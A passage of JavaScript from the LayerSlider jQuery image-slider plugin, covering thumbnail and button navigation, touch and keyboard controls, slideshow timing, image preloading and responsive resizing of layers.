                                    left: e(this).position().left + (e(this).width() - f.outerWidth()) / 2
                                }, 250, "easeInOutQuad");
                                c.css({
                                    display: "none",
                                    visibility: "visible"
                                }).stop().fadeIn(250)
                            }, function() {
                                c.stop().fadeOut(250, function() {
                                    f.css({
                                        visibility: "hidden",
                                        display: "block"
                                    })
                                })
                            })
                        }
                    }
                    if (u.o.thumbnailNavigation == "hover") {
                        o.appendTo(e(s).find(".ls-bottom-slidebuttons"))
                    }
                    e(s).find(".ls-bottom-slidebuttons a:eq(" + (u.o.firstLayer - 1) + ")").addClass("ls-nav-active")
                }
                if (u.o.navStartStop) {
                    var h = e('<a class="ls-nav-start" href="#" />').click(function(t) {
                        t.preventDefault();
                        e(s).layerSlider("start")
                    }).prependTo(e(s).find(".ls-bottom-nav-wrapper"));
                    var p = e('<a class="ls-nav-stop" href="#" />').click(function(t) {
                        t.preventDefault();
                        e(s).layerSlider("stop")
                    }).appendTo(e(s).find(".ls-bottom-nav-wrapper"))
                } else if (u.o.thumbnailNavigation != "always") {
                    e('<span class="ls-nav-sides ls-nav-sideleft" />').prependTo(e(s).find(".ls-bottom-nav-wrapper"));
                    e('<span class="ls-nav-sides ls-nav-sideright" />').appendTo(e(s).find(".ls-bottom-nav-wrapper"))
                }
                if (u.o.hoverBottomNav && u.o.thumbnailNavigation != "always") {
                    i.css({
                        display: "none"
                    });
                    e(s).hover(function() {
                        if (!u.g.forceHideControls) {
                            if (u.g.ie78) {
                                i.css("display", "block")
                            } else {
                                i.stop(true, true).fadeIn(300)
                            }
                        }
                    }, function() {
                        if (u.g.ie78) {
                            i.css("display", "none")
                        } else {
                            i.stop(true, true).fadeOut(300)
                        }
                    })
                }
            }
            if (u.o.thumbnailNavigation == "always") {
                u.g.thumbsWrapper = e('<div class="ls-thumbnail-wrapper"></div>').appendTo(e(s));
                var o = e('<div class="ls-thumbnail"><div class="ls-thumbnail-inner"><div class="ls-thumbnail-slide-container"><div class="ls-thumbnail-slide"></div></div></div></div>').appendTo(u.g.thumbsWrapper);
                u.g.thumbnails = e(s).find(".ls-thumbnail-slide-container");
                if (!("ontouchstart" in window)) {
                    u.g.thumbnails.hover(function() {
                        e(this).addClass("ls-thumbnail-slide-hover")
                    }, function() {
                        e(this).removeClass("ls-thumbnail-slide-hover");
                        u.scrollThumb()
                    }).mousemove(function(t) {
                        var n = parseInt(t.pageX - e(this).offset().left) / e(this).width() * (e(this).width() - e(this).find(".ls-thumbnail-slide").width());
                        e(this).find(".ls-thumbnail-slide").stop().css({
                            marginLeft: n
                        })
                    })
                } else {
                    u.g.thumbnails.addClass("ls-touchscroll")
                }
                e(s).find(".ls-layer").each(function() {
                    var t = e(this).index() + 1;
                    if (e(this).find(".ls-tn").length) {
                        var n = e(this).find(".ls-tn").attr("src")
                    } else if (e(this).find(".ls-videopreview").length) {
                        var n = e(this).find(".ls-videopreview").attr("src")
                    } else if (e(this).find(".ls-bg").length) {
                        var n = e(this).find(".ls-bg").attr("src")
                    }
                    if (n) {
                        var r = e('<a href="#" class="ls-thumb-' + t + '"><img src="' + n + '"></a>')
                    } else {
                        var r = e('<a href="#" class="ls-nothumb ls-thumb-' + t + '"><img src="' + u.o.skinsPath + u.o.skin + '/nothumb.png"></a>')
                    }
                    r.appendTo(e(s).find(".ls-thumbnail-slide"));
                    if (!("ontouchstart" in window)) {
                        r.hover(function() {
                            e(this).children().stop().fadeTo(300, u.o.tnActiveOpacity / 100)
                        }, function() {
                            if (!e(this).children().hasClass("ls-thumb-active")) {
                                e(this).children().stop().fadeTo(300, u.o.tnInactiveOpacity / 100)
                            }
                        })
                    }
                    r.click(function(n) {
                        n.preventDefault();
                        e(s).layerSlider(t)
                    })
                });
                if (h && p) {
                    var d = u.g.bottomWrapper = e('<div class="ls-bottom-nav-wrapper ls-below-thumbnails"></div>').appendTo(e(s));
                    h.clone().click(function(t) {
                        t.preventDefault();
                        e(s).layerSlider("start")
                    }).appendTo(d);
                    p.clone().click(function(t) {
                        t.preventDefault();
                        e(s).layerSlider("stop")
                    }).appendTo(d)
                }
                if (u.o.hoverBottomNav) {
                    u.g.thumbsWrapper.css("display", "none");
                    if (d) {
                        u.g.bottomWrapper = d.css("display") == "block" ? d : e(s).find(".ls-above-thumbnails");
                        u.g.bottomWrapper.css("display", "none")
                    }
                    e(s).hover(function() {
                        e(s).addClass("ls-hover");
                        if (!u.g.forceHideControls) {
                            if (u.g.ie78) {
                                u.g.thumbsWrapper.css("display", "block");
                                if (u.g.bottomWrapper) {
                                    u.g.bottomWrapper.css("display", "block")
                                }
                            } else {
                                u.g.thumbsWrapper.stop(true, true).fadeIn(300);
                                if (u.g.bottomWrapper) {
                                    u.g.bottomWrapper.stop(true, true).fadeIn(300)
                                }
                            }
                        }
                    }, function() {
                        e(s).removeClass("ls-hover");
                        if (u.g.ie78) {
                            u.g.thumbsWrapper.css("display", "none");
                            if (u.g.bottomWrapper) {
                                u.g.bottomWrapper.css("display", "none")
                            }
                        } else {
                            u.g.thumbsWrapper.stop(true, true).fadeOut(300);
                            if (u.g.bottomWrapper) {
                                u.g.bottomWrapper.stop(true, true).fadeOut(300)
                            }
                        }
                    })
                }
            }
            u.g.shadow = e('<div class="ls-shadow"></div>').appendTo(e(s));
            if (u.g.shadow.css("display") == "block" && !u.g.shadow.find("img").length) {
                u.g.showShadow = function() {
                    u.g.shadow.css({
                        display: "none",
                        visibility: "visible"
                    }).fadeIn(500, function() {
                        u.g.showShadow = false
                    })
                };
                u.g.shadowImg = e("<img>").attr("src", u.o.skinsPath + u.o.skin + "/shadow.png").appendTo(u.g.shadow);
                u.g.shadowBtmMod = typeof parseInt(e(s).css("padding-bottom")) == "number" ? parseInt(e(s).css("padding-bottom")) : 0
            }
            u.resizeShadow();
            if (u.o.keybNav && e(s).find(".ls-layer").length > 1) {
                e("body").bind("keydown", function(e) {
                    if (!u.g.isAnimating && !u.g.isLoading) {
                        if (e.which == 37) {
                            u.o.cbPrev(u.g);
                            u.prev("clicked")
                        } else if (e.which == 39) {
                            u.o.cbNext(u.g);
                            u.next("clicked")
                        }
                    }
                })
            }
            if ("ontouchstart" in window && e(s).find(".ls-layer").length > 1 && u.o.touchNav) {
                e(s).find(".ls-inner").bind("touchstart", function(e) {
                    var t = e.touches ? e.touches : e.originalEvent.touches;
                    if (t.length == 1) {
                        u.g.touchStartX = u.g.touchEndX = t[0].clientX
                    }
                });
                e(s).find(".ls-inner").bind("touchmove", function(e) {
                    var t = e.touches ? e.touches : e.originalEvent.touches;
                    if (t.length == 1) {
                        u.g.touchEndX = t[0].clientX
                    }
                    if (Math.abs(u.g.touchStartX - u.g.touchEndX) > 45) {
                        e.preventDefault()
                    }
                });
                e(s).find(".ls-inner").bind("touchend", function(t) {
                    if (Math.abs(u.g.touchStartX - u.g.touchEndX) > 45) {
                        if (u.g.touchStartX - u.g.touchEndX > 0) {
                            u.o.cbNext(u.g);
                            e(s).layerSlider("next")
                        } else {
                            u.o.cbPrev(u.g);
                            e(s).layerSlider("prev")
                        }
                    }
                })
            }
            if (u.o.pauseOnHover == true && e(s).find(".ls-layer").length > 1) {
                e(s).find(".ls-inner").hover(function() {
                    u.o.cbPause(u.g);
                    if (u.g.autoSlideshow) {
                        u.g.paused = true;
                        u.stop();
                        if (u.g.barTimer) {
                            u.g.barTimer.stop()
                        }
                        if (u.g.circleTimer) {
                            u.g.circleTimer.find(".ls-ct-rotate").stop()
                        }
                        u.g.pausedSlideTime = (new Date).getTime()
                    }
                }, function() {
                    if (u.g.paused == true) {
                        u.start();
                        u.g.paused = false
                    }
                })
            }
            u.resizeSlider();
            if (u.o.yourLogo) {
                u.g.yourLogo = e("<img>").addClass("ls-yourlogo").appendTo(e(s)).attr("style", u.o.yourLogoStyle).css({
                    visibility: "hidden",
                    display: "bock"
                }).load(function() {
                    var t = 0;
                    if (!u.g.yourLogo) {
                        t = 1e3
                    }
                    setTimeout(function() {
                        u.g.yourLogo.data("originalWidth", u.g.yourLogo.width());
                        u.g.yourLogo.data("originalHeight", u.g.yourLogo.height());
                        if (u.g.yourLogo.css("left") != "auto") {
                            u.g.yourLogo.data("originalLeft", u.g.yourLogo[0].style.left)
                        }
                        if (u.g.yourLogo.css("right") != "auto") {
                            u.g.yourLogo.data("originalRight", u.g.yourLogo[0].style.right)
                        }
                        if (u.g.yourLogo.css("top") != "auto") {
                            u.g.yourLogo.data("originalTop", u.g.yourLogo[0].style.top)
                        }
                        if (u.g.yourLogo.css("bottom") != "auto") {
                            u.g.yourLogo.data("originalBottom", u.g.yourLogo[0].style.bottom)
                        }
                        if (u.o.yourLogoLink != false) {
                            e("<a>").appendTo(e(s)).attr("href", u.o.yourLogoLink).attr("target", u.o.yourLogoTarget).css({
                                textDecoration: "none",
                                outline: "none"
                            }).append(u.g.yourLogo)
                        }
                        u.g.yourLogo.css({
                            display: "none",
                            visibility: "visible"
                        });
                        u.resizeYourLogo()
                    }, t)
                }).attr("src", u.o.yourLogo)
            }
            e(window).resize(function() {
                u.g.resize = true;
                if (!u.g.isAnimating) {
                    u.makeResponsive(u.g.curLayer, function() {
                        if (u.g.ltContainer) {
                            u.g.ltContainer.empty()
                        }
                        u.g.resize = false
                    });
                    if (u.g.yourLogo) {
                        u.resizeYourLogo()
                    }
                }
            });
            u.g.showSlider = true;
            if (u.o.animateFirstLayer == true) {
                if (u.o.autoStart) {
                    u.g.autoSlideshow = true;
                    e(s).find(".ls-nav-start").addClass("ls-nav-start-active")
                } else {
                    e(s).find(".ls-nav-stop").addClass("ls-nav-stop-active")
                }
                u.next()
            } else {
                u.imgPreload(u.g.curLayer, function() {
                    u.g.curLayer.fadeIn(1e3, function() {
                        u.g.isLoading = false;
                        e(this).addClass("ls-active");
                        if (u.o.autoPlayVideos) {
                            e(this).delay(e(this).data("delayin") + 25).queue(function() {
                                e(this).find(".ls-videopreview").click();
                                e(this).dequeue()
                            })
                        }
                        u.g.curLayer.find(' > *[class*="ls-s"]').each(function() {
                            if (e(this).data("showuntil") > 0) {
                                var t = e(this);
                                t.data("showUntilTimer", setTimeout(function() {
                                    u.sublayerShowUntil(t)
                                }, t.data("showuntil")))
                            }
                        })
                    });
                    u.changeThumb(u.g.curLayerIndex);
                    if (u.o.autoStart) {
                        u.g.isLoading = false;
                        u.start()
                    } else {
                        e(s).find(".ls-nav-stop").addClass("ls-nav-stop-active")
                    }
                })
            }
            u.o.cbInit(e(s))
        };
        u.goFullScreen = function() {
            if (!u.g.isAnimating && !u.g.isLoading) {
                if (lsPrefixes(document, "FullScreen") || lsPrefixes(document, "IsFullScreen")) {
                    lsPrefixes(document, "CancelFullScreen");
                    u.escFullScreen()
                } else {
                    u.g.normalWidth = u.g.sliderWidth();
                    u.g.normalHeight = u.g.sliderHeight();
                    u.g.normalRatio = u.g.ratio;
                    lsPrefixes(e(s)[0], "RequestFullScreen");
                    e(s).addClass("ls-container-fullscreen")
                }
            }
        };
        u.escFullScreen = function() {
            u.g.goingNormal = true;
            e(s).removeClass("ls-container-fullscreen")
        };
        u.start = function() {
            if (u.g.autoSlideshow) {
                if (u.g.prevNext == "prev" && u.o.twoWaySlideshow) {
                    u.prev()
                } else {
                    u.next()
                }
            } else {
                u.g.autoSlideshow = true;
                if (!u.g.isAnimating && !u.g.isLoading) {
                    u.timer()
                }
            }
            e(s).find(".ls-nav-start").addClass("ls-nav-start-active");
            e(s).find(".ls-nav-stop").removeClass("ls-nav-stop-active")
        };
        u.timer = function() {
            var t = e(s).find(".ls-active").data("slidedelay") ? parseInt(e(s).find(".ls-active").data("slidedelay")) : u.o.slideDelay;
            if (!u.o.animateFirstLayer && !e(s).find(".ls-active").data("slidedelay")) {
                var n = e(s).find(".ls-layer:eq(" + (u.o.firstLayer - 1) + ")").data("slidedelay");
                t = n ? n : u.o.slideDelay
            }
            clearTimeout(u.g.slideTimer);
            if (u.g.pausedSlideTime) {
                if (!u.g.startSlideTime) {
                    u.g.startSlideTime = (new Date).getTime()
                }
                if (u.g.startSlideTime > u.g.pausedSlideTime) {
                    u.g.pausedSlideTime = (new Date).getTime()
                }
                if (!u.g.curSlideTime) {
                    u.g.curSlideTime = t
                }
                u.g.curSlideTime -= u.g.pausedSlideTime - u.g.startSlideTime;
                u.g.pausedSlideTime = false;
                u.g.startSlideTime = (new Date).getTime()
            } else {
                u.g.curSlideTime = t;
                u.g.startSlideTime = (new Date).getTime()
            }
            u.g.slideTimer = window.setTimeout(function() {
                u.g.startSlideTime = u.g.pausedSlideTime = u.g.curSlideTime = false;
                u.start()
            }, u.g.curSlideTime);
            if (u.g.barTimer) {
                u.g.barTimer.animate({
                    width: u.g.sliderWidth()
                }, u.g.curSlideTime, "linear", function() {
                    e(this).css({
                        width: 0
                    })
                })
            }
            if (u.g.circleTimer) {
                var r = u.g.circleTimer.find(".ls-ct-right .ls-ct-rotate");
                var i = u.g.circleTimer.find(".ls-ct-left .ls-ct-rotate");
                if (u.g.circleTimer.css("display") == "none") {
                    r.css({
                        rotate: 0
                    });
                    i.css({
                        rotate: 0
                    });
                    u.g.circleTimer.fadeIn(350)
                }
                var o = function() {
                    i.animate({
                        rotate: 180
                    }, t / 2, "linear")
                };
                var a = r;
                var f = u.g.curSlideTime - t / 2;
                if (u.g.curSlideTime < t / 2) {
                    a = i;
                    f = u.g.curSlideTime;
                    o = function() {}
                }
                a.stop(true, true).animate({
                    rotate: 180
                }, f, "linear", function() {
                    o()
                })
            }
        };
        u.stop = function() {
            u.g.pausedSlideTime = (new Date).getTime();
            if (u.g.barTimer) {
                u.g.barTimer.stop()
            }
            if (u.g.circleTimer) {
                u.g.circleTimer.find(".ls-ct-rotate").stop()
            }
            if (!u.g.paused && !u.g.originalAutoSlideshow) {
                e(s).find(".ls-nav-stop").addClass("ls-nav-stop-active");
                e(s).find(".ls-nav-start").removeClass("ls-nav-start-active")
            }
            clearTimeout(u.g.slideTimer);
            u.g.autoSlideshow = false
        };
        u.forcestop = function() {
            e(s).find("*").stop(true, false).dequeue();
            if (!u.g.paused && !u.g.originalAutoSlideshow) {
                e(s).find(".ls-nav-stop").addClass("ls-nav-stop-active");
                e(s).find(".ls-nav-start").removeClass("ls-nav-start-active")
            }
            clearTimeout(u.g.slideTimer);
            u.g.autoSlideshow = false
        };
        u.restart = function() {
            e(s).find("*").stop();
            clearTimeout(u.g.slideTimer);
            u.change(u.g.curLayerIndex, u.g.prevNext)
        };
        u.ieEasing = function(t) {
            if (e.trim(t.toLowerCase()) == "swing" || e.trim(t.toLowerCase()) == "linear") {
                return t.toLowerCase()
            } else {
                return t.replace("easeinout", "easeInOut").replace("easein", "easeIn").replace("easeout", "easeOut").replace("quad", "Quad").replace("quart", "Quart").replace("cubic", "Cubic").replace("quint", "Quint").replace("sine", "Sine").replace("expo", "Expo").replace("circ", "Circ").replace("elastic", "Elastic").replace("back", "Back").replace("bounce", "Bounce")
            }
        };
        u.prev = function(e) {
            if (u.g.curLayerIndex < 2) {
                u.g.nextLoop += 1
            }
            if (u.g.nextLoop > u.o.loops && u.o.loops > 0 && !e) {
                u.g.nextLoop = 0;
                u.stop();
                if (u.o.forceLoopNum == false) {
                    u.o.loops = 0
                }
            } else {
                var t = u.g.curLayerIndex < 2 ? u.g.layersNum : u.g.curLayerIndex - 1;
                u.g.prevNext = "prev";
                u.change(t, u.g.prevNext)
            }
        };
        u.next = function(e) {
            if (!u.o.randomSlideshow) {
                if (!(u.g.curLayerIndex < u.g.layersNum)) {
                    u.g.nextLoop += 1
                }
                if (u.g.nextLoop > u.o.loops && u.o.loops > 0 && !e) {
                    u.g.nextLoop = 0;
                    u.stop();
                    if (u.o.forceLoopNum == false) {
                        u.o.loops = 0
                    }
                } else {
                    var t = u.g.curLayerIndex < u.g.layersNum ? u.g.curLayerIndex + 1 : 1;
                    u.g.prevNext = "next";
                    u.change(t, u.g.prevNext)
                }
            } else if (!e) {
                var t = u.g.curLayerIndex;
                var n = function() {
                    t = Math.floor(Math.random() * u.g.layersNum) + 1;
                    if (t == u.g.curLayerIndex) {
                        n()
                    } else {
                        u.g.prevNext = "next";
                        u.change(t, u.g.prevNext)
                    }
                };
                n()
            } else if (e) {
                var t = u.g.curLayerIndex < u.g.layersNum ? u.g.curLayerIndex + 1 : 1;
                u.g.prevNext = "next";
                u.change(t, u.g.prevNext)
            }
        };
        u.change = function(t, n) {
            u.g.startSlideTime = u.g.pausedSlideTime = u.g.curSlideTime = false;
            if (u.g.barTimer) {
                u.g.barTimer.stop(true, true).css({
                    width: 0
                })
            }
            if (u.g.circleTimer) {
                u.g.circleTimer.delay(300).fadeOut(500).find(".ls-ct-rotate").stop().delay(300).animate({
                    rotate: 0
                }, 450)
            }
            if (u.g.pausedByVideo == true) {
                u.g.pausedByVideo = false;
                u.g.autoSlideshow = u.g.originalAutoSlideshow;
                u.g.curLayer.find('iframe[src*="www.youtu"], iframe[src*="player.vimeo"]').each(function() {
                    e(this).parent().find(".ls-vpcontainer").fadeIn(u.g.v.fi, function() {
                        e(this).parent().find("iframe").attr("src", "")
                    })
                })
            }
            e(s).find('iframe[src*="www.youtu"], iframe[src*="player.vimeo"]').each(function() {
                clearTimeout(e(this).data("videoTimer"))
            });
            clearTimeout(u.g.slideTimer);
            u.g.nextLayerIndex = t;
            u.g.nextLayer = e(s).find(".ls-layer:eq(" + (u.g.nextLayerIndex - 1) + ")");
            if (!n) {
                if (u.g.curLayerIndex < u.g.nextLayerIndex) {
                    u.g.prevNext = "next"
                } else {
                    u.g.prevNext = "prev"
                }
            }
            var r = 0;
            if (e(s).find('iframe[src*="www.youtu"], iframe[src*="player.vimeo"]').length > 0) {
                r = u.g.v.fi
            }
            clearTimeout(u.g.changeTimer);
            u.g.changeTimer = setTimeout(function() {
                var e = function() {
                    if (u.g.goingNormal) {
                        setTimeout(function() {
                            e()
                        }, 500)
                    } else {
                        u.imgPreload(u.g.nextLayer, function() {
                            u.animate()
                        })
                    }
                };
                e()
            }, r)
        };
        u.imgPreload = function(t, n) {
            u.g.isLoading = true;
            if (u.g.showSlider) {
                e(s).css({
                    visibility: "visible"
                })
            }
            if (u.o.imgPreload) {
                var r = [];
                var i = 0;
                if (t.css("background-image") != "none" && t.css("background-image").indexOf("url") != -1) {
                    var o = t.css("background-image");
                    o = o.match(/url\((.*)\)/)[1].replace(/"/gi, "");
                    r.push(o)
                }
                t.find("img").each(function() {
                    r.push(e(this).attr("src"))
                });
                t.find("*").each(function() {
                    if (e(this).css("background-image") != "none" && e(this).css("background-image").indexOf("url") != -1) {
                        var t = e(this).css("background-image");
                        t = t.match(/url\((.*)\)/)[1].replace(/"/gi, "");
                        r.push(t)
                    }
                });
                if (r.length == 0) {
                    e(".ls-thumbnail-wrapper, .ls-nav-next, .ls-nav-prev, .ls-bottom-nav-wrapper").css({
                        visibility: "visible"
                    });
                    u.makeResponsive(t, n)
                } else {
                    if (u.g.ie78) {
                        u.g.li.css("display", "block")
                    } else {
                        u.g.li.delay(400).fadeIn(300)
                    }
                    for (x = 0; x < r.length; x++) {
                        e("<img>").load(function() {
                            if (++i == r.length) {
                                u.g.li.stop(true, true).css({
                                    display: "none"
                                });
                                e(".ls-thumbnail-wrapper, .ls-nav-next, .ls-nav-prev, .ls-bottom-nav-wrapper").css({
                                    visibility: "visible"
                                });
                                u.makeResponsive(t, n)
                            }
                        }).attr("src", r[x])
                    }
                }
            } else {
                e(".ls-thumbnail-wrapper, .ls-nav-next, .ls-nav-prev, .ls-bottom-nav-wrapper").css({
                    visibility: "visible"
                });
                u.makeResponsive(t, n)
            }
        };
        u.makeResponsive = function(t, n) {
            t.css({
                visibility: "hidden",
                display: "block"
            });
            if (u.g.showShadow) {
                u.g.showShadow()
            }
            u.resizeSlider();
            if (u.o.thumbnailNavigation == "always") {
                u.resizeThumb()
            }
            t.children().each(function() {
                var t = e(this);
                var n = t.data("originalLeft") ? t.data("originalLeft") : "0";
                var r = t.data("originalTop") ? t.data("originalTop") : "0";
                if (t.is("a") && t.children().length > 0) {
                    t.css({
                        display: "block"
                    });
                    t = t.children()
                }
                var i = "auto";
                var s = "auto";
                if (t.data("originalWidth")) {
                    if (typeof t.data("originalWidth") == "number") {
                        i = parseInt(t.data("originalWidth")) * u.g.ratio
                    } else if (t.data("originalWidth").indexOf("%") != -1) {
                        i = t.data("originalWidth")
                    }
                }
                if (t.data("originalHeight")) {
                    if (typeof t.data("originalHeight") == "number") {
                        s = parseInt(t.data("originalHeight")) * u.g.ratio
                    } else if (t.data("originalHeight").indexOf("%") != -1) {
                        s = t.data("originalHeight")
                    }
                }
                var o = t.data("originalPaddingLeft") ? parseInt(t.data("originalPaddingLeft")) * u.g.ratio : 0;
                var a = t.data("originalPaddingRight") ? parseInt(t.data("originalPaddingRight")) * u.g.ratio : 0;
                var f = t.data("originalPaddingTop") ? parseInt(t.data("originalPaddingTop")) * u.g.ratio : 0;
                var l = t.data("originalPaddingBottom") ? parseInt(t.data("originalPaddingBottom")) * u.g.ratio : 0;
                var c = t.data("originalBorderLeft") ? parseInt(t.data("originalBorderLeft")) * u.g.ratio : 0;
                var h = t.data("originalBorderRight") ? parseInt(t.data("originalBorderRight")) * u.g.ratio : 0;
                var p = t.data("originalBorderTop") ? parseInt(t.data("originalBorderTop")) * u.g.ratio : 0;
                var d = t.data("originalBorderBottom") ? parseInt(t.data("originalBorderBottom")) * u.g.ratio : 0;
                var v = t.data("originalFontSize");
                var m = t.data("originalLineHeight");
                if (u.g.responsiveMode || u.o.responsiveUnder > 0) {
                    if (t.is("img") && !t.hasClass("ls-bg")) {
                        t.css({
                            width: "auto",
                            height: "auto"
                        });
                        if ((i == 0 || i == "auto") && typeof s == "number" && s != 0) {
                            i = s / t.height() * t.width()
                        }
                        if ((s == 0 || s == "auto") && typeof i == "number" && i != 0) {
                            s = i / t.width() * t.height()
                        }
                        if (i == "auto") {
                            i = t.width() * u.g.ratio
                        }
                        if (s == "auto") {
                            s = t.height() * u.g.ratio
                        }
                        t.css({
                            width: i,
                            height: s
                        })
                    }
                    if (!t.is("img")) {
                        t.css({
                            width: i,
                            height: s,
                            "font-size": parseInt(v) * u.g.ratio + "px",
                            "line-height": parseInt(m) * u.g.ratio + "px"
                        })
                    }
                    if (t.is("div") && t.find("iframe").data("videoSrc")) {
                        var g = t.find("iframe");
                        g.attr("width", parseInt(g.data("originalWidth")) * u.g.ratio).attr("height", parseInt(g.data("originalHeight")) * u.g.ratio);
                        t.css({
                            width: parseInt(g.data("originalWidth")) * u.g.ratio,
                            height: parseInt(g.data("originalHeight")) * u.g.ratio
                        })
                    }
                    t.css({
                        padding: f + "px " + a + "px " + l + "px " + o + "px ",
                        borderLeftWidth: c + "px",
                        borderRightWidth: h + "px",
                        borderTopWidth: p + "px",
                        borderBottomWidth: d + "px"
                    })
                }
                if (!t.hasClass("ls-bg")) {
                    var y = t;
                    if (t.parent().is("a")) {
                        t = t.parent()
                    }
                    var b = u.o.sublayerContainer > 0 ? (u.g.sliderWidth() - u.o.sublayerContainer) / 2 : 0;
                    b = b < 0 ? 0 : b;
                    if (n.indexOf("%") != -1) {
                        t.css({
                            left: u.g.sliderWidth() / 100 * parseInt(n) - y.width() / 2 - o - c
                        })
                    } else if (b > 0 || u.g.responsiveMode || u.o.responsiveUnder > 0) {
                        t.css({
                            left: b + parseInt(n) * u.g.ratio
                        })
                    }
                    if (r.indexOf("%") != -1) {
                        t.css({
                            top: u.g.sliderHeight() / 100 * parseInt(r) - y.height() / 2 - f - p
                        })
                    } else if (u.g.responsiveMode || u.o.responsiveUnder > 0) {
                        t.css({
                            top: parseInt(r) * u.g.ratio
                        })
                    }
                } else {
                    t.css({
                        width: "auto",
                        height: "auto"
                    });
                    i = t.width();
                    s = t.height();
                    var w = u.g.ratio;
                    if (u.g.sliderOriginalWidth.indexOf("%") != -1) {
                        if (u.g.sliderWidth() > i) {
                            w = u.g.sliderWidth() / i;
                            if (u.g.sliderHeight() > s * w) {
                                w = u.g.sliderHeight() / s
                            }
                        } else if (u.g.sliderHeight() > s) {
                            w = u.g.sliderHeight() / s;
                            if (u.g.sliderWidth() > i * w) {
                                w = u.g.sliderWidth() / i
                            }
                        }
                    }
                    t.css({
                        width: Math.round(i * w),
                        height: Math.round(s * w),
                        marginLeft: -Math.round(i * w) / 2 + "px",
                        marginTop: -Math.round(s * w) / 2 + "px"
                    })
                }
            });
            t.css({
                display: "none",
                visibility: "visible"
            });
            u.resizeShadow();
            n();
            e(this).dequeue();
            if (u.g.normalWidth && u.g.goingNormal) {
                u.g.normalWidth = false;
                u.g.normalHeight = false;
                u.g.normalRatio = false;
                u.g.goingNormal = false
            }
        };
        u.resizeShadow = function() {
            if (u.g.shadowImg) {
                var e = function() {
                    if (u.g.shadowImg.height() > 0) {
                        if (u.g.shadowBtmMod > 0) {
                            u.g.shadow.css({
                                height: u.g.shadowImg.height() / 2
                            })
                        } else {
                            u.g.shadow.css({
                                height: u.g.shadowImg.height(),
                                marginTop: -u.g.shadowImg.height() / 2
                            })
                        }
                    } else {
                        setTimeout(function() {
                            e()
                        }, 50)
                    }
                };
                e()
            }
        };
        u.resizeSlider = function() {
            if (u.o.responsiveUnder > 0) {
                if (e(window).width() < u.o.responsiveUnder) {
                    u.g.responsiveMode = true;
                    u.g.sliderOriginalWidth = u.o.responsiveUnder + "px"
                } else {
                    u.g.responsiveMode = false;
                    u.g.sliderOriginalWidth = u.g.sliderOriginalWidthRU;
                    u.g.ratio = 1
                }
            }
            if (u.g.responsiveMode) {
                var t = e(s).parent();
                if (u.g.normalRatio && u.g.goingNormal) {
                    e(s).css({
                        width: u.g.normalWidth
                    });
                    u.g.ratio = u.g.normalRatio;
                    e(s).css({
                        height: u.g.normalHeight
                    })
                } else {
                    e(s).css({
                        width: t.width() - parseInt(e(s).css("padding-left")) - parseInt(e(s).css("padding-right"))
                    });
                    u.g.ratio = e(s).width() / parseInt(u.g.sliderOriginalWidth);
                    e(s).css({
                        height: u.g.ratio * parseInt(u.g.sliderOriginalHeight)
                    })
                }
            } else {
                u.g.ratio = 1;
                e(s).css({
                    width: u.g.sliderOriginalWidth,
                    height: u.g.sliderOriginalHeight
                })
            }
            if (e(s).closest(".ls-wp-fullwidth-container").length) {
                e(s).closest(".ls-wp-fullwidth-helper").css({
                    height: e(s).outerHeight(true)
                });
                e(s).closest(".ls-wp-fullwidth-container").css({
                    height: e(s).outerHeight(true)
                });
                e(s).closest(".ls-wp-fullwidth-helper").css({
                    width: e(window).width(),
                    left: -e(s).closest(".ls-wp-fullwidth-container").offset().left
                });
                if (u.g.sliderOriginalWidth.indexOf("%") != -1) {
                    var n = parseInt(u.g.sliderOriginalWidth);
                    var r = e("body").width() / 100 * n - (e(s).outerWidth() - e(s).width());
                    e(s).width(r)
                }
            }
            e(s).find(".ls-inner, .ls-lt-container").css({
                width: u.g.sliderWidth(),
                height: u.g.sliderHeight()
            });
            if (u.g.curLayer && u.g.nextLayer) {
                u.g.curLayer.css({
                    width: u.g.sliderWidth(),
                    height: u.g.sliderHeight()
                });
                u.g.nextLayer.css({
                    width: u.g.sliderWidth(),
                    height: u.g.sliderHeight()
                })
            } else {
                e(s).find(".ls-layer").css({
                    width: u.g.sliderWidth(),
                    height: u.g.sliderHeight()
                })
            }
        };
        u.resizeYourLogo = function() {
            u.g.yourLogo.css({
                width: u.g.yourLogo.data("originalWidth") * u.g.ratio,
                height: u.g.yourLogo.data("originalHeight") * u.g.ratio
            });
            if (u.g.ie78) {
                u.g.yourLogo.css("display", "block")
            } else {
                u.g.yourLogo.fadeIn(300)
            }
            var t = oR = oT = oB = "auto";
            if (u.g.yourLogo.data("originalLeft") && u.g.yourLogo.data("originalLeft").indexOf("%") != -1) {
                t = u.g.sliderWidth() / 100 * parseInt(u.g.yourLogo.data("originalLeft")) - u.g.yourLogo.width() / 2 + parseInt(e(s).css("padding-left"))
            } else {
                t = parseInt(u.g.yourLogo.data("originalLeft")) * u.g.ratio
            }
            if (u.g.yourLogo.data("originalRight") && u.g.yourLogo.data("originalRight").indexOf("%") != -1) {
                oR = u.g.sliderWidth() / 100 * parseInt(u.g.yourLogo.data("originalRight")) - u.g.yourLogo.width() / 2 + parseInt(e(s).css("padding-right"))
            } else {
                oR = parseInt(u.g.yourLogo.data("originalRight")) * u.g.ratio
            }
            if (u.g.yourLogo.data("originalTop") && u.g.yourLogo.data("originalTop").indexOf("%") != -1) {
                oT = u.g.sliderHeight() / 100 * parseInt(u.g.yourLogo.data("originalTop")) - u.g.yourLogo.height() / 2 + parseInt(e(s).css("padding-top"))
            } else {
                oT = parseInt(u.g.yourLogo.data("originalTop")) * u.g.ratio
            }
            if (u.g.yourLogo.data("originalBottom") && u.g.yourLogo.data("originalBottom").indexOf("%") != -1) {
                oB = u.g.sliderHeight() / 100 * parseInt(u.g.yourLogo.data("originalBottom")) - u.g.yourLogo.height() / 2 + parseInt(e(s).css("padding-bottom"))
            } else {
                oB = parseInt(u.g.yourLogo.data("originalBottom")) * u.g.ratio
            }
            u.g.yourLogo.css({
                left: t,
                right: oR,
                top: oT,
                bottom: oB
            })
        };
        u.resizeThumb = function() {
            u.bottomNavSizeHelper("on");
            var t = u.g.sliderOriginalWidth.indexOf("%") == -1 ? parseInt(u.g.sliderOriginalWidth) : u.g.sliderWidth();
            e(s).find(".ls-thumbnail-slide a").css({
                width: parseInt(u.o.tnWidth * u.g.ratio),
                height: parseInt(u.o.tnHeight * u.g.ratio)
            });
            e(s).find(".ls-thumbnail-slide a:last").css({
                margin: 0
            });
            e(s).find(".ls-thumbnail-slide").css({
                height: parseInt(u.o.tnHeight * u.g.ratio)
            });
            var n = e(s).find(".ls-thumbnail");
